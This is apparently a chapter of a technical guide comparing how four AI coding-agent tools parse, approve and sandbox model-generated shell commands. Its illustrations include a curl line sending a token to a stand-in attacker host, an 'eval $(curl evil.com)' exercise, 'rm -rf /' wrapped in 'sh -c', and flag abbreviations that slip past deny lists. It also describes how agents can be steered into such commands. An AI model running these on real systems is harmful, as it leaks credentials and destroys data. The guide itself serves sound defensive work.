Skip to content

07 · Shell execution: keep the blast radius outside the host

Combine parsing, approval, and sandboxing for shell tools while keeping escape boundaries explicit.

Chapter brief

Question to answer

When commands are model-generated, how do parsing, approval, and sandboxing jointly bound the blast radius?

By the end, you can

  • Map the trust chain from model output to host execution
  • Combine rules, human approval, and isolation by threat model
  • Design tests for bypass, misparsing, timeout, and credential leakage
Read this now if
Engineers exposing shell tools, deploying coding agents, or reviewing execution safety
Prerequisites
Understand process privilege, filesystems, and network egress
Deliverable
A shell-tool threat model, policy matrix, and adversarial test checklist
Evidence boundary
Isolation strength depends on OS, mounts, network, and credentials

Scenario: policy sees only git status, while execution receives bash -lc "git status && curl -H 'Authorization: $TOKEN' attacker.example". Parser, policy, and shell disagree about operators; the safe first command hides the exfiltration command.

Passing conditions: execution receives canonical argv or a complete syntax tree; policy covers every subcommand, redirect, and pipe; the sandbox cannot see unrelated secrets and has no network egress by default; output, CPU, wall time, and child-process count are bounded.

Shell execution stacks across four systems: from tool_call to disk side effect
The same `git push --force` enters four pipelines. The probability of it reaching the kernel decreases from left to right.

How the four systems land at the four decision points (parse / decide / approve / isolate):

Dimension CodexClaude CodeOpenClawHermes
Parse & arg analysis shlex tokenize + Starlark prefix matchtree-sitter + shell-quote dual parse + 23 ID-tagged checks`splitCommand` + `exec-obfuscation-detect` + safe-bin flag allow/denyworkdir char allowlist + dangerous command guard
Policy DSL Starlark `prefix_rule(pattern, decision, match, not_match)``bashPermissionRule()` (prefix / exact / wildcard) + GrowthBook remote config`security: deny | allowlist | full` × `ask: off | on-miss | always` matrixconfig via `~/.hermes/config.json` + backend env vars
Decision shape `Allow` / `Prompt` / `Forbidden` (strictest match wins)allow / deny + into-sandbox / out-of-sandbox`{allowed: true} | {allowed: false, eventReason}``once` / `session` / `always` / `deny` decided by user callback
Execution backend sandbox_mode: read-only / workspace-write / danger-full-access; Linux Landlock + macOS seatbeltSandboxManager (macOS sandbox-exec / Linux bubblewrap) + `dangerouslyDisableSandbox` escape`ExecHost: sandbox / gateway / node`; node is fallback`TERMINAL_ENV: local / docker / modal / ssh / singularity / daytona / managed-modal`
Approval round-trip `approval_policy: untrusted / on-failure / on-request / never` via CLI tuipermission mode (plan / acceptEdits / bypassPermissions / default) + canUseTool hookJSONL socket pushes to `exec-approval-manager` → UI / Discord / CLI`_approval_callback` plugged in: CLI prompts directly, gateway routes via IM
Every gate a command must clear from tool_call to PID

Compare only implementations that change blast radius

Section titled “Compare only implementations that change blast radius”

Codex · Execution policy as a Starlark DSL in a standalone file: rules are git-versionable, reviewable, self-testable

Section titled “Codex · Execution policy as a Starlark DSL in a standalone file: rules are git-versionable, reviewable, self-testable”

Codex’s starting point on shell execution is: “what commands can run” is fundamentally a body of business rules (what should be banned, what should be asked, what should be allowed) that evolves over time (new bypass trick discovered? add a rule; new tool comes online? add a rule; corporate policy changes? adjust rules).

If you hardcode these in Rust, every rule change requires a release and ops/security teams have no independent iteration path.

So Codex chooses to extract this layer into a standalone DSL, written in Starlark (Google’s Python-subset language used by Bazel: deterministic evaluation, no side effects, easy to sandbox), kept in a standalone .codexpolicy file.

Agent startup loads this file; before every tool call, the command is matched against rules; on hit, one of three Decisions is returned:

Codex codex/codex-rs/execpolicy/src/decision.rs:1-28 execpolicy's three-decision enum
pub enum Decision {
/// Command may run without further approval.
Allow,
/// Request explicit user approval; rejected outright
/// when running with `approval_policy="never"`.
Prompt,
/// Command is blocked without further consideration.
Forbidden,
}

The policy itself looks like this (from the examples folder):

Codex codex/codex-rs/execpolicy/examples/example.codexpolicy:1-46 Starlark prefix rules with self-testing match / not_match
prefix_rule(
pattern = ["git", "reset", "--hard"],
decision = "forbidden",
justification = "destructive operation",
match = [
["git", "reset", "--hard"],
],
not_match = [
["git", "reset", "--keep"],
"git reset --merge",
],
)
prefix_rule(
pattern = ["cp"],
decision = "prompt",
match = [
["cp", "foo", "bar"],
"cp -r src dest",
],
)

Three engineering details in this example deserve careful study. The first is that match and not_match fields make each rule carry its own expected-behaviour unit tests inline: each prefix_rule declares both the pattern and “these commands should match” and “these commands should not match”.

When the agent boots and loads .codexpolicy, every rule’s match and not_match are run through validation; if anything fails, the agent panics on startup instead of crashing at runtime.

In the example, the git reset --hard rule explicitly says “match git reset --hard but not git reset --keep or git reset --merge”; if someone later adds a new rule that accidentally hits git reset --keep, startup fails and ops notices immediately.

The second is the justification field. When a command is blocked, this text shows in the approval prompt telling the user why (“destructive operation” in the example); good justifications can also suggest alternative commands (e.g. when git reset --hard is blocked, justification can suggest “try git stash + git checkout instead”), so users don’t need to read code to understand the block reason.

The third is “strictest wins.” One command may hit multiple rules (e.g. git reset --hard origin/main could match both a git rule and a git reset --hard rule); rules don’t need to be mutually exclusive, Codex internally applies Forbidden > Prompt > Allow priority and picks the strictest one.

Rule authors don’t have to think “does this conflict with another rule?”, which drastically reduces maintenance complexity.

The execpolicy layer only decides “should this run”. Once a command is allowed, running it goes through a second independent sandbox isolation layer: sandbox_mode offers three tiers (read-only no writes, workspace-write only writes the workspace dir, danger-full-access fully open).

On Linux the implementation combines Landlock + seccomp (Landlock restricts filesystem access, seccomp filters syscalls); on macOS it’s seatbelt (sandbox-exec with .sb policy files).

The relationship between the two layers: execpolicy gates command literal (what argv looks like), sandbox gates syscalls (what the process actually wants to do); even if execpolicy lets through a dangerous command, sandbox can still block the dangerous operations the command attempts.

This two-layer arrangement is part of Codex’s security design; the second layer can provide fallback for some command-policy misses, but actual coverage depends on sandbox and host configuration.

Claude Code · 23 ID-tagged security checks inside BashTool + tree-sitter dual parse

Section titled “Claude Code · 23 ID-tagged security checks inside BashTool + tree-sitter dual parse”

Claude Code makes a completely opposite judgement to Codex. Instead of a standalone DSL, it stuffs all interception logic into a single BashTool tool.

The reasoning: bash has complex constructs (here-docs, command substitution, process substitution, redirection, brace and parameter expansion). Prefix matching cannot tell what the command will do; an AST parser gives richer structure at the cost of parser and rule maintenance. Benchmark that cost on the target command mix rather than assuming an order-of-magnitude gap.

Each checker gets a numeric ID (so logs only record IDs, not raw commands, avoiding PII leaks). The opening of bashSecurity.ts is the 23-class numbered risk list:

Claude Code claude-code/src/tools/BashTool/bashSecurity.ts:76-101 23 ID-tagged bash security checks (numeric IDs avoid logging raw commands)
const BASH_SECURITY_CHECK_IDS = {
INCOMPLETE_COMMANDS: 1,
JQ_SYSTEM_FUNCTION: 2,
JQ_FILE_ARGUMENTS: 3,
OBFUSCATED_FLAGS: 4,
SHELL_METACHARACTERS: 5,
DANGEROUS_VARIABLES: 6,
NEWLINES: 7,
DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,
DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,
DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,
IFS_INJECTION: 11,
GIT_COMMIT_SUBSTITUTION: 12,
PROC_ENVIRON_ACCESS: 13,
MALFORMED_TOKEN_INJECTION: 14,
BACKSLASH_ESCAPED_WHITESPACE: 15,
BRACE_EXPANSION: 16,
CONTROL_CHARACTERS: 17,
UNICODE_WHITESPACE: 18,
MID_WORD_HASH: 19,
ZSH_DANGEROUS_COMMANDS: 20,
BACKSLASH_ESCAPED_OPERATORS: 21,
COMMENT_QUOTE_DESYNC: 22,
QUOTED_NEWLINE: 23,
} as const

Reading the 23 IDs gives a feel for how detailed this layer of protection is. ID 1 INCOMPLETE_COMMANDS is “command ends with \ or | leaving an unterminated line” (attackers may use this to keep bash receiving commands inside a here-doc).

ID 4 OBFUSCATED_FLAGS is “flags are base64 / hex / unicode-encoded then mixed into argv”. ID 5 SHELL_METACHARACTERS detects & | ; && || < > << <<< () {} [] $ `, characters that change command semantics.

ID 11 IFS_INJECTION is “the built-in IFS variable is rewritten so bash splits on other characters” (a classic injection technique). ID 13 PROC_ENVIRON_ACCESS is “accessing /proc/PID/environ to steal another process’s environment variables”.

ID 18 UNICODE_WHITESPACE is “using Unicode whitespace (U+00A0 non-breaking space, U+2028 line separator) so the command the bash parser sees differs from what the eye sees”.

ID 19 MID_WORD_HASH is “a # character in the middle of a word” (may be treated as comment-start under some bash configs). ID 22 COMMENT_QUOTE_DESYNC is “a quote inside a comment leaving subsequent bash parsing in an unclosed-quote state”.

ID 23 QUOTED_NEWLINE is “a newline inside quotes turning a single-line command into actually multi-line execution”.

Each ID maps to a real-world shell-injection trick; the Claude Code team finds the attack pattern in GitHub Security Advisories or CVE databases and adds a dedicated checker per trick, scale-aware defense-in-depth thinking.

The second layer is the zsh-specific dangerous-command rejection list. bash and zsh have similar shell syntax but zsh has several additional dangerous features. zmodload can dynamically load zsh modules (e.g. zsh/system module loaded gives access to sysopen/syswrite/syseek builtins that bypass file binary checks; zsh/zpty loaded gives access to the zpty pseudo-terminal execution capability; zsh/net/tcp loaded gives ztcp direct TCP networking; zsh/files loaded gives zf_rm / zf_mv / zf_chmod builtins that bypass PATH-based binary resolution):

Claude Code claude-code/src/tools/BashTool/bashSecurity.ts:45-74 zsh module-loading and module-builtin dangerous-command set
const ZSH_DANGEROUS_COMMANDS = new Set([
// zmodload is the gateway to many dangerous module-based attacks:
// zsh/mapfile (invisible file I/O via array assignment),
// zsh/system (sysopen/syswrite two-step file access),
// zsh/zpty (pseudo-terminal command execution),
// zsh/net/tcp (network exfiltration via ztcp),
// zsh/files (builtin rm/mv/ln/chmod that bypass binary checks)
'zmodload',
'emulate', // eval-equivalent
'sysopen', 'sysread', 'syswrite', 'sysseek',
'zpty',
'ztcp', 'zsocket',
'mapfile',
'zf_rm', 'zf_mv', 'zf_ln', 'zf_chmod',
// ...
])

This kind of “zsh module loading” defense is easy to miss without a zsh-specific threat model.

Many shell-security implementations do not cover the same zsh module surface; this snapshot explicitly accounts for zsh execution on supported platforms. emulate is zsh’s eval equivalent (executes a string as a command) and is also rejected.

The third layer is the sandbox. After passing the 23 checks + zsh dangerous commands, shouldUseSandbox() defaults to true, putting the command into the sandbox (macOS uses sandbox-exec, Linux uses bubblewrap); the only way to skip the sandbox is if the user explicitly added the command to sandbox.excludedCommands in settings, or the command call explicitly carried dangerouslyDisableSandbox: true:

Claude Code claude-code/src/tools/BashTool/shouldUseSandbox.ts:130-153 sandbox-by-default: sandbox unless user-allowlisted
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
if (!SandboxManager.isSandboxingEnabled()) return false
if (
input.dangerouslyDisableSandbox &&
SandboxManager.areUnsandboxedCommandsAllowed()
) return false
if (!input.command) return false
if (containsExcludedCommand(input.command)) return false
return true
}

There’s a phenomenally important comment in this code (near the top of shouldUseSandbox.ts) that reads “excludedCommands is a user convenience feature, not a security boundary”, telling every reviewer and future developer “this excludedCommands is not for attackers to bypass the sandbox; it’s for users in scenarios where they know a particular command is safe and can skip the sandbox.

In this source path and configuration, sandbox plus the permission prompt form two boundaries; whether they are enabled and when they ask still depends on permission mode and user settings. excludedCommands is a convenience option, not a security boundary. The useful lesson is to review the two layers separately.

OpenClaw · Two-dimension matrix + per-binary safe-bin profile + GNU long-flag abbreviation resolution

Section titled “OpenClaw · Two-dimension matrix + per-binary safe-bin profile + GNU long-flag abbreviation resolution”

OpenClaw makes yet another different judgement on shell execution. It argues that different deployment shapes (personal dev box, enterprise CI, production service) have vastly different safety preferences for shell execution; the platform should not hardcode any single policy but instead provide fine-grained knobs that ops can tune for their deployment.

So OpenClaw extracts shell execution into a standalone exec-approvals subsystem with three independent dimensions for ops to combine:

OpenClaw openclaw/src/infra/exec-approvals.ts:10-36 security × ask: 3 × 3 = 9 combinations
export type ExecHost = "sandbox" | "gateway" | "node";
export type ExecSecurity = "deny" | "allowlist" | "full";
export type ExecAsk = "off" | "on-miss" | "always";
export function normalizeExecHost(value?: string | null): ExecHost | null {
const normalized = value?.trim().toLowerCase();
if (normalized === "sandbox" || normalized === "gateway" || normalized === "node") {
return normalized;
}
return null;
}

Expanding the three dimensions. ExecHost is “where does it run”: sandbox is OpenClaw’s built-in isolation sandbox (the actual implementation left to the deployer; could be Docker, Firecracker, Lambda); gateway is “delegate execution to a long-running gateway daemon” (multiple agents share one isolation boundary); node is “run directly in the current Node.js process” (fallback, no isolation).

ExecSecurity is “safety level”: deny outright bans all shell execution (suitable for “this agent should not run shell at all”); allowlist only allows whitelisted commands; full is fully open (suitable for personal dev boxes with full agent trust).

ExecAsk is “ask the user or not”: off never asks; on-miss asks only when allowlist misses (letting the user decide whether to temp-allow); always asks for every command (most conservative).

The theoretical product is 3×3×3 = 27 combinations. Which ones are useful depends on the deployment; for example, sandbox + allowlist + on-miss can suit CI that needs a human fallback, while gateway + full + off belongs only in an explicitly trusted internal environment.

There is one particularly detailed handling in allowlist mode: shell wrappers (sh -c, bash -c, Windows cmd.exe /c) are blocked outright. Because these wrappers are the most common allowlist-bypass trick:

OpenClaw openclaw/src/node-host/exec-policy.ts:52-90 evaluateSystemRunPolicy: shell wrappers denied under allowlist mode
export function evaluateSystemRunPolicy(params: {
security: ExecSecurity;
ask: ExecAsk;
analysisOk: boolean;
allowlistSatisfied: boolean;
approvalDecision: ExecApprovalDecision;
approved?: boolean;
isWindows: boolean;
cmdInvocation: boolean;
shellWrapperInvocation: boolean;
}): SystemRunPolicyDecision {
const shellWrapperBlocked =
params.security === "allowlist" && params.shellWrapperInvocation;
const windowsShellWrapperBlocked =
shellWrapperBlocked && params.isWindows && params.cmdInvocation;
const analysisOk = shellWrapperBlocked ? false : params.analysisOk;
const allowlistSatisfied = shellWrapperBlocked ? false : params.allowlistSatisfied;
// ...
if (params.security === "deny") {
return {
allowed: false,
eventReason: "security=deny",
errorMessage: "SYSTEM_RUN_DISABLED: security=deny",
// ...
};
}
// ...
}

The bypass scenario is: say allowlist contains git, npm, ls; the attacker may have the model generate sh -c "rm -rf /"; argv[0] is sh (not in allowlist but a common shell); if OpenClaw only checked argv[0] and let it through, the rm -rf / after -c would be executed by sh.

To block this hole, OpenClaw in allowlist mode denies sh, bash, zsh, cmd.exe, powershell shell wrappers wholesale, and even handles cmd /c on Windows (since cmd’s syntax differs from sh, needs separate detection).

The check shellWrapperBlocked = security === "allowlist" && shellWrapperInvocation only blocks in allowlist mode (full mode doesn’t block since everything is allowed; deny mode never even gets here); if the command is detected as a shell wrapper, the entire command’s analysisOk and allowlistSatisfied are forced to false, ensuring denial.

After the allowlist hits, OpenClaw has a second layer of fine-grained control: each allowed binary has its own safe-bin profile registering allowed flags, allowed min/max positional args, etc.:

OpenClaw openclaw/src/infra/exec-safe-bin-policy-profiles.ts:1-30 Per-binary flag allow/deny + positional arg bounds
export type SafeBinProfile = {
minPositional?: number;
maxPositional?: number;
allowedValueFlags?: ReadonlySet<string>;
deniedFlags?: ReadonlySet<string>;
// Precomputed long-option metadata for GNU abbreviation resolution.
knownLongFlags?: readonly string[];
knownLongFlagsSet?: ReadonlySet<string>;
longFlagPrefixMap?: ReadonlyMap<string, string | null>;
};

The fields are: allowedValueFlags is “flags this binary is allowed to use” (e.g. git’s profile may allow --branch, --no-pager but not --git-dir, preventing attackers from rewriting git internals); deniedFlags is “flags this binary is explicitly disallowed from using” (e.g. rm’s profile must deny --force and --recursive); minPositional and maxPositional bound positional args (e.g. ls’s profile might require minPositional=0 maxPositional=10, preventing someone from sending 100 positionals to overflow the process stack); knownLongFlagsSet and longFlagPrefixMap are GNU long flag metadata, specifically for handling GNU-style long flag abbreviations.

OpenClaw explicitly resolves GNU long-flag abbreviations in the pinned path. GNU tools can accept a unique abbreviation for a complete flag.

For example git --version equals git --vers equals git --ver (as long as --ve is unique to --version); rm --force can be abbreviated to rm --for or even rm --fo (as long as --f is unique to --force).

If the attacker knows deniedFlags contains --force, the model could be made to generate rm --for to bypass it;

OpenClaw resolves any long flag abbreviation back to the complete flag via longFlagPrefixMap before matching allowedValueFlags / deniedFlags, so --for and --force are the same, and abbreviations can’t bypass.

The corresponding paths inspected in the other three pinned snapshots do not show equivalent GNU-abbreviation handling. That scoped comparison does not rule out defenses elsewhere or in later versions.

Approval is asynchronous. When a command needs ask (hitting on-miss or always policy), exec-approval-manager doesn’t block in place; instead it pushes the approval request via a JSONL socket to UI / Discord / CLI / gateway, whichever channel the user is active on (decided by where the user is currently engaging the agent).

The user confirms or denies in their preferred entry. This “decouple approval entry from agent main loop” design lets OpenClaw simultaneously support multiple entries (see chapter 14 on multi-channel entry), so a user chatting with the agent on Telegram can approve a git command the agent wants to run in the IDE.

Hermes · Don’t filter shell, filter the execution environment: dump the command into one of 7 backends to isolate

Section titled “Hermes · Don’t filter shell, filter the execution environment: dump the command into one of 7 backends to isolate”

Hermes makes a different trade-off from the other three. Its judgment is that complex AST parsing, many checks, and safe-bin profiles can impose high maintenance cost: new tricks require new rules and rules may conflict. Detection errors cannot be expected to reach zero, so it moves more protection into the execution environment.

The approach is to accept that command-layer checks are incomplete and use an isolation environment as another boundary. A container or sandbox can reduce host impact only when its image, mounts, capabilities, network, and escape paths are configured and tested; it does not make the host unaffected by definition.

Specifically, Hermes offers 7 backend options, chosen via the TERMINAL_ENV environment variable:

Hermes hermes-agent/tools/terminal_tool.py:1-32 terminal tool ships 7 backends, from local to cloud sandbox
"""
Terminal Tool Module
A terminal tool that executes commands in local, Docker, Modal, SSH,
Singularity, and Daytona environments. Supports local execution,
containerized backends, and Modal cloud sandboxes, including managed
gateway mode.
Environment Selection (via TERMINAL_ENV environment variable):
- "local": Execute directly on the host machine (default, fastest)
- "docker": Execute in Docker containers (isolated, requires Docker)
- "modal": Execute in Modal cloud sandboxes (direct Modal or managed gateway)
Features:
- Multiple execution backends (local, docker, modal)
- Background task support
- VM/container lifecycle management
- Automatic cleanup after inactivity
"""

Expanding the 7 backends: local is “run directly on the host”, with no isolation; docker is a local container; modal is a cloud sandbox with network latency; singularity targets HPC environments; daytona provides an ephemeral dev environment; ssh runs on a dedicated remote machine; managed-modal calls Modal’s managed gateway. The right default depends on trust, latency, and operations constraints.

Each backend has its own image / CPU / memory / disk / persistence config (see chapter 13 on sandbox), so users can fine-tune per scenario.

Although main isolation depends on the environment, Hermes still does the minimum necessary at the command layer: workdir char allowlist + _check_all_guards:

Hermes hermes-agent/tools/terminal_tool.py:150-177 workdir char allowlist instead of deny-list
# Allowlist: characters that can legitimately appear in directory paths.
_WORKDIR_SAFE_RE = re.compile(r'^[A-Za-z0-9/\\:_\-.~ +@=,]+$')
def _validate_workdir(workdir: str) -> str | None:
"""Reject workdir values that don't look like a filesystem path.
Uses an allowlist of safe characters rather than a deny-list, so novel
shell metacharacters can't slip through.
"""
if not workdir:
return None
if not _WORKDIR_SAFE_RE.match(workdir):
for ch in workdir:
if not _WORKDIR_SAFE_RE.match(ch):
return (
f"Blocked: workdir contains disallowed character {repr(ch)}. "
"Use a simple filesystem path without shell metacharacters."
)
return "Blocked: workdir contains disallowed characters."
return None

Several details in this code stand out. _WORKDIR_SAFE_RE uses an allowlist (explicitly listing allowed characters) rather than a deny-list (explicitly listing forbidden characters); the author writes in the docstring “Uses an allowlist of safe characters rather than a deny-list, so novel shell metacharacters can’t slip through.” A deny-list can miss a new metacharacter; an allowlist reduces that class of bypass but is not a zero-miss guarantee.

The “document why allowlist not deny-list” habit makes future maintainers avoid accidentally flipping to deny-list.

The allowed character set A-Za-z0-9/\\:_\-.~ +@=, covers common Unix and Windows path characters. It does not cover every legal path, and it does not check .., symlinks, or mount boundaries; it only reduces one class of shell-metacharacter input.

If workdir contains any non-allowlist character, the function rescans char by char to find the specific offending character and gives the user a precise error message (not “workdir invalid” but the concrete “Blocked: workdir contains disallowed character ’$’”).

_check_all_guards is the second guard at the command layer. It delegates the actual decision to tirith (Hermes’s own dangerous-command detector subprocess) + approval_callback (the user-supplied approval callback). tirith is a standalone subprocess running as the agent’s child, loading hundreds of dangerous command patterns (see chapter 20 on security) to match commands and returning an exit code (0 allow, 1 block, 2 warn); the agent receives the result and calls approval_callback to let the user decide once / session / always / deny; in CLI mode it prompts directly in the terminal, in gateway mode it goes via Telegram / Slack / Discord etc.

IM platforms (see chapter 14 on multi-channel entry).

Why does Hermes do so little at the command layer? It moves part of the protection to the execution environment. Docker, Modal, or managed-modal can reduce blast radius, but the boundary depends on image, mounts, capabilities, network, and host configuration; a container is not a guarantee of host safety. Heavy AST parsing also carries maintenance cost.

This moves the centre of protection from the shell command layer to the execution environment layer, the biggest philosophical gap between Hermes and the other three.

Fix parsing, approval, and isolation boundaries first

Section titled “Fix parsing, approval, and isolation boundaries first”

The four implementations cover different shell boundaries. The following are review questions, not guarantees implemented equally by all four.

First, one regex is not a shell parser. Bash and zsh include here-docs, command substitution, redirection, and parameter expansion. Codex tokenises selected command shapes, Claude Code uses a bash parser on relevant paths, and OpenClaw adds command and flag checks. Hermes primarily validates workdir characters and delegates dangerous-command checks; that is not lexer-level parsing of wrapper contents.

The second is that command and environment are different concerns. All four samples expose both kinds of control, but coverage and defaults depend on the host and deployment. Command policy constrains argv or shell shape; the environment constrains process access. Do not assume that a miss in one layer will be caught by the next without an adversarial test.

The third is that approval requests can travel asynchronously. Codex, Claude Code, OpenClaw, and Hermes expose different channels. An async callback means the sender’s thread is not occupied; the pending tool action usually still waits for a decision. It does not imply that the agent can safely read files or run other tools in parallel.

The fourth is that shell wrappers (sh -c / bash -c / cmd /c) need explicit handling. They hide the real command in a -c string, which argv-level checks may miss. OpenClaw denies wrappers in allowlist mode; Codex raises related commands to Prompt. Other parsing and approval paths differ by source, so do not describe them all as recursive parsers.

Four shell systems on a 2D plane: default safety × day-to-day fluency
Claude Code and OpenClaw sit bottom-right (strictest defaults but every command needs review); Codex sits middle (rules diffable); Hermes sits top (passes commands through, isolates at the environment layer for fluency).

“How strict to make shell protection” reduces to “in what scenario does your agent run”. Reading the trade-offs from scenario, the four choices each map to one typical deployment.

If you are a personal developer using an agent for everyday coding and want fewer approval popups, Hermes’s TERMINAL_ENV=docker is one option to evaluate. Whether a risky command can affect the host depends on image, mounts, sockets, capabilities, network, and runtime configuration; container logs also change the audit path.

If you are deploying agents to employees in an enterprise and compliance requires every command to be auditable, evaluate OpenClaw’s security=allowlist plus per-binary safe-bin profiles. It puts flag bounds and abbreviation handling at the command layer, at the cost of profile maintenance and more approval prompts. Test whether it covers your shell, tools, and audit requirements.

If you are wiring agents into CI / automation and need rules to be git-versioned, Codex’s .codexpolicy Starlark DSL is a candidate to evaluate: rules can live in a git repo and be reviewed, diffed, and CI-validated (match / not_match self-tests fail-fast). The trade-off is Starlark’s learning curve for ops and the need to maintain the rule set.

If you are building a cross-IDE / cross-platform developer tool with a large diverse user base, study Claude Code’s 23 checks, tree-sitter dual parse, sandbox-by-default, and permission mode. They provide substantial default constraints, but the source cannot establish coverage of every injection variant; measure latency and maintenance cost on the target platforms.

Pick by scenario:

  • Solo dev machine, hate interruptions: Hermes with TERMINAL_ENV=docker + dangerous-command deny. grep/ls runs free; rm -rf hits approval.
  • Enterprise, every command must be audited: evaluate OpenClaw security=allowlist + per-binary safe-bin profiles, then test coverage and approval load.
  • Plugged into CI / automation: Codex execpolicy. The .codexpolicy file is reviewable, diffable, gittable. Rule changes have audit history.
  • Cross-IDE, cross-platform, mixed users: Claude Code’s 23 checks + sandbox-by-default + permission mode, with latency and coverage measured on your platforms.

Let the threat model set isolation strength

Section titled “Let the threat model set isolation strength”
Threat model or constraintRoute to borrowCost or boundary
Rules must be versioned and reviewed in CICodex execpolicy plus sandboxPolicy authors must maintain the DSL
Untrusted commands need broad parsing and default isolationClaude Code AST checks plus sandboxMore parsing and platform-specific behavior
Operators need a tunable approval matrixOpenClaw execSecurity, execAsk, and execHostConfiguration is easy to misread
Host impact must stay outside the processHermes isolated terminal backendsCommand-layer filtering is comparatively thin

When building shell execution and command review, define deny-by-default behavior, approvals, and working-directory boundaries first. Add parsers, policy DSLs, and isolated backends after those controls are testable.

Build recipe

最小可行

  • Start with an allowlist: use shlex tokenisation and a head-token check as a teaching entry point, not a complete security boundary. Parse pipelines, redirections, substitutions, and wrappers before execution, and test the policy
  • Route non-allowlisted commands to an approval prompt when the threat model permits it; do not blanket-deny without checking legitimate workflows. Showing the command and recording the decision can reduce interruption while preserving a review point
  • Validate workdir characters, then enforce realpath containment inside the workspace. A character allowlist alone does not stop `../`, symlinks, or mounts from escaping the intended root
  • Shell wrappers (sh -c / bash -c / cmd /c) always go to approval. These wrappers let the model construct arbitrary commands (bypassing allowlist checks); must have human approval to confirm intent

进阶

  • Lift policy into a standalone DSL (borrow from Codex execpolicy Starlark): rules diffable, reviewable, CI auto-testable; separating rules from code makes security audits easier
  • Each rule carries match / not_match self-tests, loader runs them all on load: broken rule fails fast on startup (fail fast), avoiding "ran a week before discovering rule was wrong"
  • Parse shell with tree-sitter (borrow from Claude Code): recognizes here-doc, command substitution, redirection and other complex structures; regex parsing often errs on these (severe under-matching / over-matching)
  • Add per-binary flag allow/deny (borrow from OpenClaw's safe-bin profile): same command different flags vary wildly in risk (git status safe / git push --force dangerous); flag-level granularity allows precise control
  • Swap the execution backend for risky work (borrow from Hermes): docker / firecracker / cloud sandbox can reduce blast radius only when image, mounts, capabilities, network, and escape paths are audited
  • Number every sec check (borrow from Claude Code's 23 ID-tagged checks): log IDs instead of raw commands; this enables tracing (which check intercepted it) without leaking command details to log collection systems

一开始别做

  • Don't rely on deny-lists alone: new shell tricks can require new rules and leave gaps; pair known-pattern checks with parsing, isolation, and audit evidence
  • Don't let sandbox be the only line of defense: its protection depends on configuration and platform history; combine command review, isolation, and audit according to the threat model
  • Don't instruct the model "never rm -rf" in the prompt: following a prompt is not a safety guarantee, especially after prompt injection or jailbreak; put enforcement at the tool and execution layers
  • Don't confuse convenience features (excludedCommands) with security boundaries (Claude Code's in-source warning explicitly states this): these are "UX features" (avoiding annoying approval popups), not security boundaries (attackers can craft commands to bypass)
The fate of one git push --force through four shell pipelines
Same command, four non-overlapping intercept positions: Codex at DSL decision, Claude Code at bash parsing, OpenClaw at the matrix + per-binary profile, Hermes at the execution environment.

The four systems put their primary checks in different places. Codex externalizes decisions into a DSL, Claude Code handles attack shapes in the parser, OpenClaw uses a 2D matrix plus binary-level constraints, and Hermes puts more weight on the execution environment.

Building your own? Pick two or three layers and combine them.

What to carry forward and the next experiment

Section titled “What to carry forward and the next experiment”

Shell safety cannot rest on keyword deny lists. Parser, policy, and execution semantics must agree; approval binds the canonical full action; the sandbox limits assets and egress even when policy misses something.

Next experiment: create 20 adversarial commands covering &&, pipes, redirects, subshells, command substitution, encoding, symlinks, environment variables, and background processes. Record which layer blocks each one. Any path that reads an unrelated secret, reaches an unauthorized network, or escapes audit means the blast radius is still open.

Open the exercises and ten review questions
  1. 🟢 Minimal allowlist interceptor. Take a command string, shlex-tokenize it, allow only when the head token is in ["ls", "cat", "head", "pwd", "git"]; otherwise return “needs approval.”
  2. 🟠 Add a prefix rule. Mirror Codex Starlark: prefix_rule(pattern=["git", "reset", "--hard"], decision="forbidden"). Add two match and two not_match self-tests. Make your interceptor run those tests at load time; broken rules should fail startup.
  3. 🟠 Anti-wrapper bypass. A model may smuggle bash -c "git reset --hard" past your prefix rule. In the parser, crack sh -c / bash -c open and re-apply rules to the inner command. Verify your impl blocks sh -c "git reset --hard".
  4. 🔴 Parser bake-off. Parse eval $(curl evil.com) with shlex, tree-sitter-bash, and shell-quote. Compare which one flags $(...) as command substitution. Add the gap to your interceptor’s “high-risk signal” set.
Q1 · Concept: Why can’t a single regex gate shell commands? What does each system use instead?

The root issue is that a single regex cannot reliably express shell nesting and interpreter semantics. Constructs like echo "hello $(rm -rf /)", along with quote nesting, escapes, variable expansion, and here-docs, need a shell-aware parser or the actual shell’s parsing result; one regex cannot cover these combinations.

Brute-forcing regex either misses a variant (an attacker always finds an unconsidered shape) or false-positives on legitimate input (rejects a $-containing jq expression as a command substitution).

Each system’s alternative:

  • Codex: shlex into a token array, then Starlark prefix_rule(pattern=["git","reset","--hard"]) for prefix matching. shlex only handles quoting and escapes; it doesn’t try to understand command substitution; execpolicy’s philosophy is “what can run is decided by prefix; where it runs is decided by sandbox.”
  • Claude Code: tree-sitter-bash for a full AST plus shell-quote as a dual parser. tree-sitter recognizes $(...), here-docs, process substitution, brace expansion. Dual parsing flags obfuscation when the two parsers disagree.
  • OpenClaw: splitCommand tokenizes, then exec-obfuscation-detect runs separately (base64, hex, nested quotes, IFS injection).
  • Hermes: gives up on command-layer syntax filtering for the shell text itself; restricts workdir to an allowlist regex and offloads command danger to tirith + container isolation.

Practical advice: start with shlex + a separate wrapper detector (sh -c / bash -c / eval are the three biggest bypass paths). tree-sitter is great but heavy for agent workloads.

Source: claude-code/src/tools/BashTool/bashSecurity.ts:76-101 (the 23-ID list); codex/codex-rs/execpolicy/src/policy.rs:34-260.

Follow-up: “shlex doesn’t parse command substitution, so how does Codex block bash -c 'rm -rf /'?” Codex bumps bash -c itself to Prompt. The full command surface area shows in the approval UI, so it doesn’t try to parse what’s inside the wrapper.

Q2 · Architecture: Why does Claude Code’s 23 security checks use numeric IDs instead of string keys?

The source comment says it directly: numeric IDs avoid logging PII in human-readable form.

Example: a user runs cat /Users/john/secret-keys.txt | base64. Claude Code hits #10 DANGEROUS_PATTERNS_OUTPUT_REDIRECTION.

If logs say “blocked check string=‘DANGEROUS_PATTERNS_OUTPUT_REDIRECTION on cat /Users/john/secret-keys.txt’”, the log itself leaks the filename.

Switch to “blocked check_id=10” and the log holds only the number; the command body goes through a separate redacted channel.

Three engineering disciplines fall out of this:

  1. ID-tag risk classes; log IDs only. Easy to aggregate in audit, easy to redact post-incident.
  2. Detection descriptions (“what triggers #10”) live in source/docs, not in the model prompt. Telling the model about the 23 IDs is an attack vector; once it knows, it knows how to dodge them.
  3. Once published, an ID never changes meaning. New checks get new IDs; old numbers stay frozen.

Similar patterns: Linux kernel errno; HTTP status codes. All optimized for “aggregate + don’t leak.”

